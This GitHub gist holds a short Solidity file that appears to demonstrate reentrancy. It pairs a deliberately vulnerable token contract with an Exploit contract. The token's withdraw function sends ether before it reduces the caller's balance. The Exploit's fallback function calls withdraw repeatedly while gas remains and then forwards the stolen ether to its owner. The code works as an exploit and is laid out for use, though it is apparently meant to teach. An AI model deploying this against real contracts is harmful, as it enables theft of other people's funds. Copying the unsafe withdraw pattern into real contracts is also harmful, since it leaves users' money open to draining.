Skip to content

Instantly share code, notes, and snippets.

@Arachnid
Created May 25, 2017 14:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Arachnid/bb818af7d2a4bdcdfb1bc1dce74fb764 to your computer and use it in GitHub Desktop.
Save Arachnid/bb818af7d2a4bdcdfb1bc1dce74fb764 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.0;
contract BadToken {
mapping(address=>uint) public balances;
function BadToken() payable {
balances[msg.sender] = msg.value;
}
function transfer(address recipient, uint amount) {
if(amount <= balances[msg.sender]) {
balances[recipient] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw(uint amount) {
if(amount <= balances[msg.sender]) {
// Send the ether to the caller
if(!msg.sender.call.value(amount)()) throw;
// Decrease their balance
balances[msg.sender] -= amount;
}
}
}
contract Exploit {
BadToken token;
address owner;
function Exploit(BadToken _token) {
owner = msg.sender;
token = _token;
}
function steal() {
// Withdraw our funds
token.withdraw(token.balances(this));
}
function() {
// Check if we have enough gas for another loop
if(msg.gas > 100000) {
token.withdraw(token.balances(this));
} else {
// If not, send our ill-gotten gains to the owner.
if(!owner.send(this.balance)) throw;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment